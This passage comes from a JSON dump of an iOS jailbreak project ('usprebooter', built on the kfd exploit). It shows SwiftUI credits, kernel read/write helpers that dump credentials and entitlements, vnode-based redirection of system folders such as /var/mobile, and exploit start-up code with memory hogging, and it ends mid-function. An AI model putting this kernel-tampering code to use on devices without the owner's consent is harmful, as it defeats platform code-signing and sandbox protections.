}\n        .onChange(of: color) { new in\n            accentColor = updateCardColorInAppStorage(color: new)\n        }\n        .animation(fancyAnimation, value: logItems)\n        .onAppear {\n            if accentColor == \"\" {\n                accentColor = updateCardColorInAppStorage(color: .init(\"accent\", bundle: Bundle.main))\n            }\n            if showStdout {\n                openConsolePipe()\n            }\n            showingGradient = swag\n            withAnimation(fancyAnimation) {\n                let rgbArray = accentColor.components(separatedBy: \",\")\n                if let red = Double(rgbArray[0]), let green = Double(rgbArray[1]), let blue = Double(rgbArray[2]), let alpha = Double(rgbArray[3]) {\n                    color = .init(.sRGB, red: red, green: green, blue: blue, opacity: alpha)\n                }\n            }\n        }\n        .onChange(of: swag) { new in\n            withAnimation(fancyAnimation) {\n                showingGradient = new\n            }\n        }\n    }\n    \n    func setProgress(_ p: Double) {\n        withAnimation(fancyAnimation) {\n            progress = p\n        }\n    }\n}\n\nstruct LinkCell: View {\n    var title: String\n    var detail: String\n    var link: String\n    var imageName: String?\n    var body: some View {\n        Link(destination: URL(string: link)!) {\n            HStack(alignment: .center) {\n                if let imageName {\n                    Image(imageName)\n                        .resizable()\n                        .frame(width: 32, height: 32)\n                        .clipShape(Circle())\n                } else {\n                    Image(systemName: \"person.circle\")\n                        .font(.system(size: 32))\n                }\n                VStack(alignment: .leading) {\n                    Text(title)\n                        .font(.headline)\n                    Text(detail)\n                        .font(.subheadline)\n                        .foregroundColor(.secondary)\n                }\n            }\n        }\n    }\n}\n\nstruct CreditsView: View {\n    var body: some View {\n        List {\n            LinkCell(title: \"hrtowii/sacrosanctuary\", detail: \"Main dev\", link: \"https://twitter.com/htrowii\", imageName: \"htrowii\")\n            LinkCell(title: \"DuyTranKhanh\", detail: \"Contributed SpringBoard hooks and launchd hooks\", link: \"https://twitter.com/TranKha50277352\", imageName: \"duy\")\n            LinkCell(title: \"NSBedtime\", detail: \"launchd hax, helped out a ton!\", link: \"https://twitter.com/NSBedtime\", imageName: \"bedtime\")\n            LinkCell(title: \"Nick Chan\", detail: \"Helped out a lot!\", link: \"https://twitter.com/riscv64\", imageName: \"alfienick\")\n            LinkCell(title: \"Alfie CG\", detail: \"insert_dylib, name, helped out a lot\", link: \"https://twitter.com/alfiecg_dev\", imageName: \"alfienick\")\n            LinkCell(title: \"BomberFish\", detail: \"Main UI\", link: \"https://bomberfish.ca\", imageName: \"fish\")\n            LinkCell(title: \"haxi0\", detail: \"Added initial log\", link: \"https://bomberfish.ca\", imageName: \"haxi0\")\n        }\n        .navigationTitle(\"Credits\")\n    }\n}\n\nfunc updateCardColorInAppStorage(color: Color) -> String {\n    let uiColor = UIColor(color)\n    var red: CGFloat = 0\n    var green: CGFloat = 0\n    var blue: CGFloat = 0\n    var alpha: CGFloat = 0\n    uiColor.getRed(&red, green: &green, blue: &blue, alpha: &alpha)\n\n    return \"\\(red),\\(green),\\(blue),\\(alpha)\"\n}\n\n#Preview {\n    ContentView(useNewUI: .constant(true))\n}\n"
  },
  {
    "path": "usprebooter/fun/cs_blobs.h",
    "content": "//\n//  cs_blobs.h\n//  kfd\n//\n//  Created by Seo Hyun-gyu on 2023/08/05.\n//\n\n#ifndef cs_blobs_h\n#define cs_blobs_h\n\n#include <stdio.h>\n\nuint64_t fun_cs_blobs(char* execPath);\nuint64_t fun_proc_dump_entitlements(uint64_t proc);\nuint64_t fun_vnode_dump_entitlements(const char* path);\n\n#endif /* cs_blobs_h */\n"
  },
  {
    "path": "usprebooter/fun/cs_blobs.m",
    "content": "//\n//  cs_blobs.c\n//  kfd\n//\n//  Created by Seo Hyun-gyu on 2023/08/05.\n//\n\n#include \"cs_blobs.h\"\n#include \"krw.h\"\n#include \"offsets.h\"\n#include \"vnode.h\"\n#include \"utils.h\"\n#include \"thanks_opa334dev_htrowii.h\"\n\nextern const uint8_t *der_decode_plist(CFAllocatorRef allocator, CFTypeRef* output, CFErrorRef *error, const uint8_t *der_start, const uint8_t *der_end);\n\ntypedef struct __SC_GenericBlob {\n    uint32_t magic;                                 /* magic number */\n    uint32_t length;                                /* total length of blob */\n    char data[];\n} CS_GenericBlob\n__attribute__ ((aligned(1)));\n\n\nuint32_t convertToLittleEndian(uint32_t num) {\n    return ((num & 0x000000FF) << 24) |\n           ((num & 0x0000FF00) << 8) |\n           ((num & 0x00FF0000) >> 8) |\n           ((num & 0xFF000000) >> 24);\n}\n\n//https://github.com/opa334/Dopamine/blob/master/BaseBin/libjailbreak/src/util.m#L656\nNSMutableDictionary *DEREntitlementsDecode(uint8_t *start, uint8_t *end)\n{\n    if (!start || !end) return nil;\n    if (start == end) return nil;\n\n    CFTypeRef plist = NULL;\n    CFErrorRef err;\n    der_decode_plist(NULL, &plist, &err, start, end);\n\n    if (plist) {\n        if (CFGetTypeID(plist) == CFDictionaryGetTypeID()) {\n            NSMutableDictionary *plistDict = (__bridge_transfer id)plist;\n            return plistDict;\n        }\n        else if (CFGetTypeID(plist) == CFDataGetTypeID()) {\n            // This code path is probably never used, but I decided to implement it anyways\n            // Because I saw in disassembly that there is a possibility for this to return data\n            NSData *plistData = (__bridge_transfer id)plist;\n            NSPropertyListFormat format;\n            NSError *decodeError;\n            NSMutableDictionary *result = ((NSDictionary *)[NSPropertyListSerialization propertyListWithData:plistData options:0 format:&format error:&decodeError]).mutableCopy;\n            if (!result) {\n                NSLog(@\"[-] Error decoding DER: %s\", decodeError.description.UTF8String);\n            }\n            return result;\n        }\n    }\n    return nil;\n}\n\nuint64_t fun_cs_blobs(char *execPath) {\n    \n    uint64_t ubc_info = kread64(getVnodeAtPath(execPath) + off_vnode_vu_ubcinfo) | 0xffffff8000000000;\n    uint32_t cs_add_gen = kread32(ubc_info + off_ubc_info_cs_add_gen);\n//    cs_add_gen += 1;\n    NSLog(@\"cs_add_gen: 0x%x\", cs_add_gen);\n    kwrite32(ubc_info + off_ubc_info_cs_add_gen, cs_add_gen);\n    \n    uint64_t csblobs = kread64(ubc_info + off_ubc_info_cs_blobs);\n    NSLog(@\"csblobs: 0x%llx\", csblobs);\n    uint32_t csb_flags = kread32(csblobs + off_cs_blob_csb_flags);\n    NSLog(@\"csb_flags: 0x%x\", csb_flags);\n    uint64_t csb_teamid = kread64(csblobs + off_cs_blob_csb_teamid);\n    NSLog(@\"csb_teamid: 0x%llx\", csb_teamid);\n    \n    NSLog(@\"csb_cdhash\");\n    HexDump(csblobs + off_cs_blob_csb_cdhash, 20);\n    \n    return 0;\n}\n\nuint64_t fun_proc_dump_entitlements(uint64_t proc) {\n    uint64_t proc_ro = kread64(proc + off_p_proc_ro);\n    uint64_t ucreds = kread64(proc_ro + off_p_ro_p_ucred);\n    \n    uint64_t cr_label_pac = kread64(ucreds + off_u_cr_label);\n    uint64_t cr_label = cr_label_pac | 0xffffff8000000000;\n    NSLog(@\"[i] ucred->cr_label: 0x%llx\", cr_label);\n    \n    \n    //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/osfmk/kern/cs_blobs.h#L283\n    //Thanks @jmpews, https://twitter.com/jmpews/status/1623669186894659584/photo/3\n    uint64_t osents = kread64(cr_label + 8);//+8, 16, 32, 64, 104, 112, 128, 168, 176, 232, 240 has kernel pointer values...\n    NSLog(@\"[i] osents: 0x%llx\", osents);\n    uint64_t osentitlements = kread64(osents + 0x10);\n    NSLog(@\"[i] osentitlements: 0x%llx\", osentitlements);\n    uint64_t dict = kread64(osentitlements + 0x70);\n    NSLog(@\"[i] dict: 0x%llx\", dict);\n    uint64_t query_ctx = osentitlements + 0x20;\n    NSLog(@\"[i] query_ctx: 0x%llx\", query_ctx);\n    uint64_t der_start = kread64(query_ctx + 0x40);\n    NSLog(@\"[i] der_start: 0x%llx\", der_start);\n    uint64_t der_end = kread64(query_ctx + 0x20);\n    NSLog(@\"[i] der_end: 0x%llx\", der_end);\n    uint64_t der_len = der_end - der_start;\n    NSLog(@\"[i] der_len: 0x%llx\", der_len);\n    uint8_t has_no_der_ents = kread8(osentitlements + 0x50);\n    NSLog(@\"[i] has_no_der_ents: 0x%x\", has_no_der_ents);\n    uint64_t csb_der_entitlements_blob = kread64(osentitlements + 0x60);\n    NSLog(@\"[i] csb_der_entitlements_blob: 0x%llx\", csb_der_entitlements_blob);\n    \n    if(!has_no_der_ents) {\n        CS_GenericBlob der_ents_blob = {0};\n        kreadbuf(csb_der_entitlements_blob, (uint8_t *)&der_ents_blob, sizeof(der_ents_blob));\n        uint32_t der_ents_data_len = der_ents_blob.length;\n        NSLog(@\"[i] der_ents_blob.length: 0x%x\", convertToLittleEndian(der_ents_data_len));\n        \n        uint8_t *der_ents_data = malloc(der_len);\n        kreadbuf(csb_der_entitlements_blob + 8, der_ents_data, der_len);\n        uint8_t *us_der_end = der_ents_data + der_len;\n        \n        NSMutableDictionary *entitlements = DEREntitlementsDecode(der_ents_data, us_der_end);\n        if(entitlements != nil) {\n            NSLog(@\"[+] Got decoded entitlements!\\n%@\", entitlements);\n        } else {\n            HexDump(csb_der_entitlements_blob, der_len);\n        }\n        free(der_ents_data);\n    }\n    \n    return 0;\n}\n\nuint64_t fun_vnode_dump_entitlements(const char* path) {\n    uint64_t vnode = getVnodeAtPath(path);\n    \n    uint64_t ubc_info_pac = kread64(vnode + off_vnode_vu_ubcinfo);\n    uint64_t ubc_info = ubc_info_pac | 0xffffff8000000000;\n    \n    uint64_t csblobs = kread64(ubc_info + off_ubc_info_cs_blobs);\n    if(csblobs == 0) {\n        NSLog(@\"[-] Couldn't get vnode->ubc_info->cs_blobs.\");\n        return -1;\n    }\n    \n    uint64_t csb_pmap_cs_entry = kread64(csblobs + off_cs_blob_csb_pmap_cs_entry);\n    NSLog(@\"[i] vnode->ubc_info->cs_blobs->csb_pmap_cs_entry: 0x%llx\", csb_pmap_cs_entry);\n    \n    uint32_t csb_validation_category = kread32(csblobs + off_cs_blob_csb_validation_category);\n    NSLog(@\"[i] vnode->ubc_info->cs_blobs->csb_validation_category: 0x%x\", csb_validation_category);\n    \n    uint64_t ce_ctx = kread64(csb_pmap_cs_entry + off_pmap_cs_code_directory_ce_ctx);\n    NSLog(@\"[i] vnode->ubc_info->cs_blobs->csb_pmap_cs_entry->ce_ctx: 0x%llx\", ce_ctx);\n    uint32_t der_entitlements_size = kread32(csb_pmap_cs_entry + off_pmap_cs_code_directory_der_entitlements_size);\n    NSLog(@\"[i] vnode->ubc_info->cs_blobs->csb_pmap_cs_entry->der_entitlements_size: 0x%x\", der_entitlements_size);\n    uint32_t trust_level = kread32(csb_pmap_cs_entry + off_pmap_cs_code_directory_trust);\n    NSLog(@\"[i] vnode->ubc_info->cs_blobs->csb_pmap_cs_entry->trust: 0x%x\", trust_level);\n    \n    //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/EXTERNAL_HEADERS/CoreEntitlements/EntitlementsPriv.h#L21\n    //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/EXTERNAL_HEADERS/CoreEntitlements/der_vm.h#L33\n    uint64_t der_start = kread64(ce_ctx + 0x38);\n    NSLog(@\"[i] der_start: 0x%llx\", der_start);\n    uint64_t der_end = kread64(ce_ctx + 0x20);\n    NSLog(@\"[i] der_end: 0x%llx\", der_end);\n    uint64_t der_len = der_end - der_start;\n    NSLog(@\"[i] der_len: 0x%llx\", der_len);\n    \n    CS_GenericBlob der_ents_blob = {0};\n    kreadbuf(der_start, (uint8_t *)&der_ents_blob, sizeof(der_ents_blob));\n    uint32_t der_ents_data_len = der_ents_blob.length;\n    NSLog(@\"[i] der_ents_blob.length: 0x%x\", convertToLittleEndian(der_ents_data_len));\n    \n    uint8_t *der_ents_data = malloc(der_len);\n    kreadbuf(der_start + 8, der_ents_data, der_len);\n    uint8_t *us_der_end = der_ents_data + der_len;\n    \n    NSMutableDictionary *entitlements = DEREntitlementsDecode(der_ents_data, us_der_end);\n    if(entitlements != nil) {\n        NSLog(@\"[+] Got decoded entitlements!\\n%@\", entitlements);\n    } else {\n        HexDump(der_start, der_len);\n    }\n    free(der_ents_data);\n    \n    return 0;\n}\n"
  },
  {
    "path": "usprebooter/fun/dir.h",
    "content": "//\n//  dir.h\n//  PureKFD\n//\n//  Created by Lrdsnow on 9/2/23.\n//\n\n#ifndef dir_h\n#define dir_h\n\n#import <Foundation/Foundation.h>\n#import <UIKit/UIKit.h>\n\nuint64_t createFolderAndRedirect2(NSString *path);\nuint64_t createFolderAndRedirect3(NSString *path);\nuint64_t createFolderAndRedirectIconsCache(NSString *path);\nuint64_t createFolderAndRedirectTemp(NSString *path);\nuint64_t createFolderAndRedirectMobile();\nuint64_t createFolderAndRedirectMobileDocs();\nvoid UnRedirectAndRemoveFolder2(uint64_t orig_to_v_data);\nvoid UnRedirectAndRemoveFolder3(uint64_t orig_to_v_data);\nvoid UnRedirectAndRemoveFolderIconsCache(uint64_t orig_to_v_data);\nvoid UnRedirectAndRemoveFolderTemp(uint64_t orig_to_v_data);\nvoid UnRedirectAndRemoveFolderMobile(uint64_t orig_to_v_data);\nvoid UnRedirectAndRemoveFolderMobileDocs(uint64_t orig_to_v_data);\n//void createFolder0755(NSString *path, NSString *foldername);\n//void createFolderUwU(NSString *path, NSString *foldername);\n\n#endif /* dir_h */\n"
  },
  {
    "path": "usprebooter/fun/dir.m",
    "content": "//\n//  dir.m\n//  PureKFD\n//\n//  Created by Lrdsnow on 9/2/23.\n//\n\n#import <Foundation/Foundation.h>\n#import <dirent.h>\n#import <sys/statvfs.h>\n#import <sys/stat.h>\n#import <dlfcn.h>\n#import <UIKit/UIKit.h>\n#include \"vnode.h\"\n#import \"utils.h\"\n\nuint64_t createFolderAndRedirectTemp(NSString *path) {\n    NSString *mntPath = [NSString stringWithFormat:@\"%@%@\", NSHomeDirectory(), @\"/Documents/temp\"];\n    [[NSFileManager defaultManager] removeItemAtPath:mntPath error:nil];\n    [[NSFileManager defaultManager] createDirectoryAtPath:mntPath withIntermediateDirectories:NO attributes:nil error:nil];\n    \n    NSLog(@\"%s\", path.UTF8String);\n    uint64_t vnode = getVnodeAtPathByChdir(path.UTF8String);\n    NSLog(@\"[i] vnode: 0x%llx\", vnode);\n    uint64_t orig_to_v_data = -1;\n    if (vnode != -1) {\n        orig_to_v_data = funVnodeRedirectFolderFromVnode(mntPath.UTF8String, vnode);\n    } else {\n        NSLog(@\"Failed to get folder vnode\");\n    }\n    return orig_to_v_data;\n}\n\nuint64_t createFolderAndRedirect2(NSString *path) {\n    NSString *mntPath = [NSString stringWithFormat:@\"%@%@\", NSHomeDirectory(), @\"/Documents/mounted\"];\n    [[NSFileManager defaultManager] removeItemAtPath:mntPath error:nil];\n    [[NSFileManager defaultManager] createDirectoryAtPath:mntPath withIntermediateDirectories:NO attributes:nil error:nil];\n    \n    NSLog(@\"%s\", path.UTF8String);\n    uint64_t vnode = getVnodeAtPathByChdir(path.UTF8String);\n    NSLog(@\"[i] vnode: 0x%llx\", vnode);\n    uint64_t orig_to_v_data = -1;\n    if (vnode != -1) {\n        orig_to_v_data = funVnodeRedirectFolderFromVnode(mntPath.UTF8String, vnode);\n    } else {\n        NSLog(@\"Failed to get folder vnode\");\n    }\n    return orig_to_v_data;\n}\n\nuint64_t createFolderAndRedirect3(NSString *path) {\n    NSString *mntPath = [NSString stringWithFormat:@\"%@%@\", NSHomeDirectory(), @\"/Documents/mount\"];\n    [[NSFileManager defaultManager] removeItemAtPath:mntPath error:nil];\n    [[NSFileManager defaultManager] createDirectoryAtPath:mntPath withIntermediateDirectories:NO attributes:nil error:nil];\n    \n    NSLog(@\"%s\", path.UTF8String);\n    uint64_t vnode = getVnodeAtPathByChdir(path.UTF8String);\n    NSLog(@\"[i] vnode: 0x%llx\", vnode);\n    uint64_t orig_to_v_data = -1;\n    if (vnode != -1) {\n        orig_to_v_data = funVnodeRedirectFolderFromVnode(mntPath.UTF8String, vnode);\n    } else {\n        NSLog(@\"Failed to get folder vnode\");\n    }\n    return orig_to_v_data;\n}\n\nuint64_t createFolderAndRedirectIconsCache(NSString *path) {\n    NSString *mntPath = [NSString stringWithFormat:@\"%@%@\", NSHomeDirectory(), @\"/Documents/iconscache\"];\n    [[NSFileManager defaultManager] removeItemAtPath:mntPath error:nil];\n    [[NSFileManager defaultManager] createDirectoryAtPath:mntPath withIntermediateDirectories:NO attributes:nil error:nil];\n    \n    NSLog(@\"%s\", path.UTF8String);\n    uint64_t vnode = getVnodeAtPathByChdir(path.UTF8String);\n    NSLog(@\"[i] vnode: 0x%llx\", vnode);\n    uint64_t orig_to_v_data = -1;\n    if (vnode != -1) {\n        orig_to_v_data = funVnodeRedirectFolderFromVnode(mntPath.UTF8String, vnode);\n    } else {\n        NSLog(@\"Failed to get folder vnode\");\n    }\n    return orig_to_v_data;\n}\n\nuint64_t createFolderAndRedirectMobile() {\n    NSString *mntPath = [NSString stringWithFormat:@\"%@%@\", NSHomeDirectory(), @\"/Documents/mobile_mount\"];\n    [[NSFileManager defaultManager] removeItemAtPath:mntPath error:nil];\n    [[NSFileManager defaultManager] createDirectoryAtPath:mntPath withIntermediateDirectories:NO attributes:nil error:nil];\n    \n    NSLog(@\"/var/mobile/\");\n    uint64_t vnode = getVnodeAtPathByChdir(\"/var/mobile/\");\n    NSLog(@\"[i] vnode: 0x%llx\", vnode);\n    uint64_t orig_to_v_data = -1;\n    if (vnode != -1) {\n        orig_to_v_data = funVnodeRedirectFolderFromVnode(mntPath.UTF8String, vnode);\n    } else {\n        NSLog(@\"Failed to get folder vnode\");\n    }\n    return orig_to_v_data;\n}\n\nuint64_t createFolderAndRedirectMobileDocs() {\n    NSString *mntPath = [NSString stringWithFormat:@\"%@%@\", NSHomeDirectory(), @\"/Documents/mobiledocs_mount\"];\n    [[NSFileManager defaultManager] removeItemAtPath:mntPath error:nil];\n    [[NSFileManager defaultManager] createDirectoryAtPath:mntPath withIntermediateDirectories:NO attributes:nil error:nil];\n    \n    NSLog(@\"/var/mobile/\");\n    uint64_t vnode = getVnodeAtPathByChdir(\"/var/mobile/\");\n    NSLog(@\"[i] vnode: 0x%llx\", vnode);\n    uint64_t orig_to_v_data = -1;\n    if (vnode != -1) {\n        orig_to_v_data = funVnodeRedirectFolderFromVnode(mntPath.UTF8String, vnode);\n    } else {\n        NSLog(@\"Failed to get folder vnode\");\n    }\n    return orig_to_v_data;\n}\n\nvoid UnRedirectAndRemoveFolderMobileDocs(uint64_t orig_to_v_data) {\n    NSString *mntPath = [NSString stringWithFormat:@\"%@%@\", NSHomeDirectory(), @\"/Documents/mobiledocs_mount\"];\n    funVnodeUnRedirectFolder(mntPath.UTF8String, orig_to_v_data);\n    NSLog(@\"Unredirected\");\n    [[NSFileManager defaultManager] removeItemAtPath:mntPath error:nil];\n}\n\nvoid UnRedirectAndRemoveFolderMobile(uint64_t orig_to_v_data) {\n    NSString *mntPath = [NSString stringWithFormat:@\"%@%@\", NSHomeDirectory(), @\"/Documents/mobile_mount\"];\n    funVnodeUnRedirectFolder(mntPath.UTF8String, orig_to_v_data);\n    NSLog(@\"Unredirected\");\n    [[NSFileManager defaultManager] removeItemAtPath:mntPath error:nil];\n}\n\nvoid UnRedirectAndRemoveFolder2(uint64_t orig_to_v_data) {\n    NSString *mntPath = [NSString stringWithFormat:@\"%@%@\", NSHomeDirectory(), @\"/Documents/mounted\"];\n    funVnodeUnRedirectFolder(mntPath.UTF8String, orig_to_v_data);\n    NSLog(@\"Unredirected\");\n    [[NSFileManager defaultManager] removeItemAtPath:mntPath error:nil];\n}\n\nvoid UnRedirectAndRemoveFolder3(uint64_t orig_to_v_data) {\n    NSString *mntPath = [NSString stringWithFormat:@\"%@%@\", NSHomeDirectory(), @\"/Documents/mount\"];\n    funVnodeUnRedirectFolder(mntPath.UTF8String, orig_to_v_data);\n    NSLog(@\"Unredirected\");\n    [[NSFileManager defaultManager] removeItemAtPath:mntPath error:nil];\n}\n\nvoid UnRedirectAndRemoveFolderIconsCache(uint64_t orig_to_v_data) {\n    NSString *mntPath = [NSString stringWithFormat:@\"%@%@\", NSHomeDirectory(), @\"/Documents/iconscache\"];\n    funVnodeUnRedirectFolder(mntPath.UTF8String, orig_to_v_data);\n    NSLog(@\"Unredirected\");\n    [[NSFileManager defaultManager] removeItemAtPath:mntPath error:nil];\n}\n\nvoid UnRedirectAndRemoveFolderTemp(uint64_t orig_to_v_data) {\n    NSString *mntPath = [NSString stringWithFormat:@\"%@%@\", NSHomeDirectory(), @\"/Documents/temp\"];\n    funVnodeUnRedirectFolder(mntPath.UTF8String, orig_to_v_data);\n    NSLog(@\"Unredirected\");\n    [[NSFileManager defaultManager] removeItemAtPath:mntPath error:nil];\n}\n"
  },
  {
    "path": "usprebooter/fun/fun.h",
    "content": "//\n//  fun.h\n//  kfd\n//\n//  Created by Seo Hyun-gyu on 2023/07/25.\n//\n\n#ifndef fun_h\n#define fun_h\n\n#include <stdio.h>\n\nvoid fix_exploit(void);\n\n#endif /* fun_h */\n"
  },
  {
    "path": "usprebooter/fun/fun.m",
    "content": "//\n//  fun.c\n//  kfd\n//\n//  Created by Seo Hyun-gyu on 2023/07/25.\n//\n\n#include \"krw.h\"\n#include \"offsets.h\"\n#include <sys/stat.h>\n#import <Foundation/Foundation.h>\n#import <UIKit/UIKit.h>\n#import <sys/mount.h>\n#include <sys/stat.h>\n#include <sys/attr.h>\n#include <sys/snapshot.h>\n#include <sys/mman.h>\n#include <mach/mach.h>\n#include \"proc.h\"\n#include \"vnode.h\"\n//#include \"grant_wallpaper_access.h\"\n#include \"thanks_opa334dev_htrowii.h\"\n#include \"utils.h\"\n#include \"cs_blobs.h\"\n//#include \"helpers.h\"\n#include \"common.h\"\n\nint funUcred(uint64_t proc) {\n    uint64_t proc_ro = kread64(proc + off_p_proc_ro);\n    uint64_t ucreds = kread64(proc_ro + off_p_ro_p_ucred);\n    \n    uint64_t cr_label_pac = kread64(ucreds + off_u_cr_label);\n    uint64_t cr_label = cr_label_pac | base_pac_mask;\n    NSLog(@\"[i] self ucred->cr_label: 0x%llx\", cr_label);\n    printf(\"[i] self ucred->cr_label: 0x%llx\", cr_label);\n    \n    uint64_t cr_posix_p = ucreds + off_u_cr_posix;\n    NSLog(@\"[i] self ucred->posix_cred->cr_uid: %u\", kread32(cr_posix_p + off_cr_uid));\n    NSLog(@\"[i] self ucred->posix_cred->cr_ruid: %u\", kread32(cr_posix_p + off_cr_ruid));\n    NSLog(@\"[i] self ucred->posix_cred->cr_svuid: %u\", kread32(cr_posix_p + off_cr_svuid));\n    NSLog(@\"[i] self ucred->posix_cred->cr_ngroups: %u\", kread32(cr_posix_p + off_cr_ngroups));\n    NSLog(@\"[i] self ucred->posix_cred->cr_groups: %u\", kread32(cr_posix_p + off_cr_groups));\n    NSLog(@\"[i] self ucred->posix_cred->cr_rgid: %u\", kread32(cr_posix_p + off_cr_rgid));\n    NSLog(@\"[i] self ucred->posix_cred->cr_svgid: %u\", kread32(cr_posix_p + off_cr_svgid));\n    NSLog(@\"[i] self ucred->posix_cred->cr_gmuid: %u\", kread32(cr_posix_p + off_cr_gmuid));\n    NSLog(@\"[i] self ucred->posix_cred->cr_flags: %u\", kread32(cr_posix_p + off_cr_flags));\n    \n//    printf(\"[i] self ucred->posix_cred->cr_uid: %u\\n\", kread32(cr_posix_p + off_cr_uid));\n//    printf(\"[i] self ucred->posix_cred->cr_ruid: %u\\n\", kread32(cr_posix_p + off_cr_ruid));\n//    printf(\"[i] self ucred->posix_cred->cr_svuid: %u\\n\", kread32(cr_posix_p + off_cr_svuid));\n//    printf(\"[i] self ucred->posix_cred->cr_ngroups: %u\\n\", kread32(cr_posix_p + off_cr_ngroups));\n//    printf(\"[i] self ucred->posix_cred->cr_groups: %u\\n\", kread32(cr_posix_p + off_cr_groups));\n//    printf(\"[i] self ucred->posix_cred->cr_rgid: %u\\n\", kread32(cr_posix_p + off_cr_rgid));\n//    printf(\"[i] self ucred->posix_cred->cr_svgid: %u\\n\", kread32(cr_posix_p + off_cr_svgid));\n//    printf(\"[i] self ucred->posix_cred->cr_gmuid: %u\\n\", kread32(cr_posix_p + off_cr_gmuid));\n//    printf(\"[i] self ucred->posix_cred->cr_flags: %u\\n\", kread32(cr_posix_p + off_cr_flags));\n\n    return 0;\n}\n\n\nint funCSFlags(char* process) {\n    pid_t pid = getPidByName(process);\n    uint64_t proc = getProc(pid);\n    \n    uint64_t proc_ro = kread64(proc + off_p_proc_ro);\n    uint32_t csflags = kread32(proc_ro + off_p_ro_p_csflags);\n    NSLog(@\"[i] %s proc->proc_ro->p_csflags: 0x%x\", process, csflags);\n//    printf(\"[i] %s proc->proc_ro->p_csflags: 0x%x\\n\", process, csflags);\n    \n#define TF_PLATFORM 0x400\n\n#define CS_GET_TASK_ALLOW    0x0000004    /* has get-task-allow entitlement */\n#define CS_INSTALLER        0x0000008    /* has installer entitlement */\n\n#define    CS_HARD            0x0000100    /* don't load invalid pages */\n#define    CS_KILL            0x0000200    /* kill process if it becomes invalid */\n#define CS_RESTRICT        0x0000800    /* tell dyld to treat restricted */\n\n#define CS_PLATFORM_BINARY    0x4000000    /* this is a platform binary */\n\n#define CS_DEBUGGED         0x10000000  /* process is currently or has previously been debugged and allowed to run with invalid pages */\n    \n//    csflags = (csflags | CS_PLATFORM_BINARY | CS_INSTALLER | CS_GET_TASK_ALLOW | CS_DEBUGGED) & ~(CS_RESTRICT | CS_HARD | CS_KILL);\n//    sleep(3);\n//    kwrite32(proc_ro + off_p_ro_p_csflags, csflags);\n    \n    return 0;\n}\n\nint funTask(char* process) {\n    pid_t pid = getPidByName(process);\n    uint64_t proc = getProc(pid);\n    NSLog(@\"[i] %s proc: 0x%llx\", process, proc);\n//    printf(\"[i] %s proc: 0x%llx\\n\", process, proc);\n    uint64_t proc_ro = kread64(proc + off_p_proc_ro);\n    \n    uint64_t pr_proc = kread64(proc_ro + off_p_ro_pr_proc);\n    NSLog(@\"[i] %s proc->proc_ro->pr_proc: 0x%llx\", process, pr_proc);\n//    printf(\"[i] %s proc->proc_ro->pr_proc: 0x%llx\\n\", process, pr_proc);\n    \n    uint64_t pr_task = kread64(proc_ro + off_p_ro_pr_task);\n    NSLog(@\"[i] %s proc->proc_ro->pr_task: 0x%llx\", process, pr_task);\n//    printf(\"[i] %s proc->proc_ro->pr_task: 0x%llx\\n\", process, pr_task);\n    \n    uint32_t t_flags = kread32(pr_task + off_task_t_flags);\n    NSLog(@\"[i] %s task->t_flags: 0x%x\", process, t_flags);\n//    printf(\"[i] %s task->t_flags: 0x%x\\n\", process, t_flags);\n    \n    \n    /*\n     * RO-protected flags:\n     */\n    #define TFRO_PLATFORM                   0x00000400                      /* task is a platform binary */\n    #define TFRO_FILTER_MSG                 0x00004000                      /* task calls into message filter callback before sending a message */\n    #define TFRO_PAC_EXC_FATAL              0x00010000                      /* task is marked a corpse if a PAC exception occurs */\n    #define TFRO_PAC_ENFORCE_USER_STATE     0x01000000                      /* Enforce user and kernel signed thread state */\n    \n    uint32_t t_flags_ro = kread32(proc_ro + off_p_ro_t_flags_ro);\n    NSLog(@\"[i] %s proc->proc_ro->t_flags_ro: 0x%x\", process, t_flags_ro);\n//    printf(\"[i] %s proc->proc_ro->t_flags_ro: 0x%x\\n\", process, t_flags_ro);\n    \n    return 0;\n}\n\n\nvoid fix_exploit(void) {\n    printf(\"[*] Exploit fixup\");\n    _offsets_init();\n    pid_t myPid = getpid();\n    uint64_t selfProc = getProc(myPid);\n    funUcred(selfProc);\n}\n"
  },
  {
    "path": "usprebooter/fun/krw.c",
    "content": "//\n//  krw.c\n//  kfd\n//\n//  Created by Seo Hyun-gyu on 2023/07/29.\n//\n\n\n#include \"krw.h\"\n#include \"libkfd.h\"\n//#include \"helpers.h\"\n#include <os/proc.h>\n#include <inttypes.h>\n#include \"memoryControl.h\"\n//#include \"memoryControl.h\"\n\nuint64_t _kfd = 0;\nvoid NSLog(CFStringRef, ...);\n\n__attribute__ ((optnone)) uint64_t do_kopen(uint64_t puaf_pages, uint64_t puaf_method, uint64_t kread_method, uint64_t kwrite_method, size_t headroom, bool use_headroom)\n{\n    if (use_headroom) {\n        size_t STATIC_HEADROOM = (headroom * (size_t)1024 * (size_t)1024);\n        uint64_t* memory_hog = NULL;\n        size_t pagesize = sysconf(_SC_PAGESIZE);\n        size_t memory_avail = os_proc_available_memory();\n        size_t hog_headroom = STATIC_HEADROOM + puaf_pages * pagesize;\n        size_t memory_to_hog = memory_avail > hog_headroom ? memory_avail - hog_headroom: 0;\n        int32_t old_memory_limit = 0;\n        memorystatus_memlimit_properties2_t mmprops;\n        NSLog(CFSTR(\"[memoryHogger] memory_avail = %zu\"), memory_avail);\n        printf(\"[memoryHogger] memory_avail = %zu\\n\", memory_avail);\n        NSLog(CFSTR(\"[memoryHogger] hog_headroom = %zu\"), hog_headroom);\n        printf(\"[memoryHogger] hog_headroom = %zu\\n\", hog_headroom);\n        NSLog(CFSTR(\"[memoryHogger] memory_to_hog = %zu\"), memory_to_hog);\n        printf(\"[memoryHogger] memory_to_hog = %zu\\n\", memory_to_hog);\n        if (hasEntitlement(CFSTR(\"com.apple.private.memorystatus\"))) {\n            uint32_t new_memory_limit = (uint32_t)(getPhysicalMemorySize() / UINT64_C(1048576)) * 2;\n            int ret = memorystatus_control(MEMORYSTATUS_CMD_GET_MEMLIMIT_PROPERTIES, getpid(), 0, &mmprops, sizeof(mmprops));\n            if (ret == 0) {\n                NSLog(CFSTR(\"[memoryHogger] current memory limit: %zu MiB\"), mmprops.v1.memlimit_active);\n                printf(\"[memoryHogger] current memory limit: %d MiB\\n\", mmprops.v1.memlimit_active);\n                old_memory_limit = mmprops.v1.memlimit_active;\n                ret = memorystatus_control(MEMORYSTATUS_CMD_SET_JETSAM_TASK_LIMIT, getpid(), new_memory_limit, NULL, 0);\n                if (ret == 0) {\n                    